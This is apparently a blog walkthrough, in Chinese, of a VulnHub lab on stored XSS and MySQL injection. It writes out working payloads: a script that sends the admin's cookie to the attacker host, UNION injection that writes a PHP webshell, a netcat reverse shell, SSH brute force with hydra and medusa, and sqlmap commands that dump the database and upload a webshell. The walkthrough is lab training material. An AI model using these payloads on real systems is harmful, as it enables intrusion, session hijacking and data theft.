vulnhub靶场之XSS AND MYSQL FILE
学习内容:跨站点脚本利用、具有权限的MySQL注入
一、环境配置
1.下载镜像文件
镜像文件下载地址:PENTESTER LAB: XSS AND MYSQL FILE
2.确定靶机IP地址
下载镜像文件制作成虚拟机后,需要确定它的IP地址,这里安装系统后默认是直接进入到bash里面的,可以直接查看。

这个时候就不要去这台靶机里面进行操作了,换到我们的攻击机,我这里使用到的是kali
如果在没有靶机shell的情况下,就要设置成同一张网卡模式,然后进行扫描了
首先查看一下自己攻击机的IP地址,确定一下网段

然后用fping扫描一下局域网的靶机,我这里使用的是fping
| 参数 | 解释 |
|---|---|
| -a | 显示可ping通的目标 -g 生成目标IP列表 |
| -q | 安静模式,不显示每个目标或者每个ping的结果 |
| -q | 安静模式,不显示每个目标或者每个ping的结果 |
这里可以看到扫描结果
192.168.29.1是我物理机的IP地址
192.168.29.2是网关的地址
192.168.29.129是kali的地址
所以192.168.29.159就是靶机的地址啦
1 | ┌──(root㉿kali)-[~/Desktop] |

二、渗透
1.信息收集(服务与端口)
得到靶机地址后,就要对靶机进行信息收集,首先是扫描端口服务,我这里用的是nmap
| 参数 | 解释 |
|---|---|
| -sV | 进行版本探测 |
| -p- | 这个等同于-p 1-65535 扫描所有端口 |
| -n | 不进行域名解析 |
这里发现了两个端口,一个是22一个是80,
1 | ┌──(root㉿kali)-[~/Desktop] |

2.服务分析
我们直接来访问80,看看有什么东西

然后对其所有的功能进行点击尝试,我这里点击的是Welcome,然后发现了一个类似评论的地方,随便输入点东西看看

提交之后,发现页面居然有了我刚提交的类型,猜测可能会存在XSS漏洞

3.尝试注入
尝试进行xss注入

成功弹出窗口,证明有xss漏洞

经过之前对网站的功能点进行尝试,发现有个后台登录页面,既然这里有xss漏洞,就可以尝试一下看能不能获取到管理员的cookie


4.获取管理员cookie
首先在kali里面用nc监听本地80端口
1 | nc -lvnp 80 |
| 参数 | 解释 |
|---|---|
| -l | 使用监听模式 |
| -n | 直接使用IP地址 |
| -p | 设置本地主机使用的端口 |
| -v | 显示指令执行的过程 |

然后利用xss漏洞来反弹cookie
1 | <script>document.write('<img src="http://192.168.29.129/?' + document.cookie+' "/>');</script> |
返回kali查看接收情况,发现GET /?PHPSESSID=194cbni19n9mppncpkrgsen5m4 HTTP/1.1
1 | listening on [any] 80 ... |

这个就是cookie的值,但是这个cookie是我们kali攻击机的,不是管理员的,要重新监听等管理员点击登录。
在等待了一段时间之后,就获取到管理员的cookie了,下面就可以去登陆啦!
要复制PHPSESSID= 后面的值
1 | listening on [any] 80 ... |

5.利用cookie
到下面这个页面按F12进行开发者模式,找到内存栏,更改他的Cookie,在首页改就行,然后点击admin就到后台了


6.sql注入
然后继续在后台翻一下,看看能不能更深一步渗透,这里随便点击了一个编辑界面,看url疑似存在注入!

用order by来查询有几列,这里一直到5才报错,说明有四列,1 2 3 4都是正常回显


然后用联合查询进行注入,看第几个字段可以在页面上显示的,这里id=的值要是一个不存在的,这里发现,第二个和第三个字段是可以在页面上显示的,进行下一步,查询当前数据库和用户
1 | http://192.168.29.159/admin/edit.php?id=-1%20union%20select%201,database(),user(),4# |

7.写webshell
下面可以尝试写webshell进去,先扫一下目录吧!我这里用dirb扫描的

由最开始扫描靶机端口的时候发现80的中间件是apache,apache默认的网站目录是/var/www/
开始写webshell
1 | http://192.168.29.159/admin/edit.php?id=-1%20union%20select%201,"<?php system($_GET['hilyary']);?> into outfile '/var/www/css/hil.php'",user(),4# |
然后测试

8.反弹shell
攻击机监听端口,然后反弹一下shell
1 | http://192.168.29.159/css/hil.php?hilyary=nc -e /bin/bash 192.168.29.129 8888 |

这个www-data权限好多事情都干不了,下面去/etc/passwd里面看一下,发现有个user用户,跟root是一样的终端

由于靶机上面开了ssh,其余路子不通,就只能对user用户进行暴力破解啦
9.暴力破解
方式1:用hydra工具
1 | hydra 192.168.29.159 ssh -l user -P ./pass.txt -v |
| 参数 | 解释 |
|---|---|
| -l | 指定用户名 |
| -P | 设置密码字典 |
| -v | 显示详细过程 |

方式2:用medusa工具
1 | medusa -M ssh -h 192.168.29.159 -u user -P pass.txt -t 10 |
| 参数 | 解释 |
|---|---|
| -M | 指定爆破的模块,比如telnet |
| -h | 指定目标主机IP |
| -u | 指定用户名 |
| -P | 设置密码字典 |
| -t | 设置线程 |

10.提权
用爆破出来的密码登录

先用sudo -l看一下可以用sudo执行的操作有哪些
1 | user@debian:~$ sudo -l |
发现可以直接用sudo免密执行

三、sqlmap自动化注入
1.判断是否存在注入点
这里还可以用sqlmap进行自动化注入这里是让自动化工具帮我们扫描判断。这里工具显示可能存在三种类型的SQL注入
1 | sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" |
| boolean-based blind | 布尔型盲注 |
| time-based blind | 时间盲注 |
| UNION query | 联合查询 |

2.查询数据库
1 | sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" --dbs |

3.查询blog数据库中的表
1 | sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" -D blog --tables |

4.查询users表中的字段
1 | qlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" -D blog -T users --columns |

5.查询值
1 | sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" --is-dba |

发现是管理员权限,可以用sqlmap写入webshell
6.写入webshell
首先创建webshell文件并写入一句话木马
1 |
|

然后根据之前扫描目录的结果写入webshell
1 | sqlmap -u "http://192.168.29.159/admin/edit.php?id=1" --cookie="PHPSESSID=i016lg7gsc37b16akjqvmggi84" --file-write="/root/Desktop/hil.php" --file-dest="/var/www/css/muma.php" |
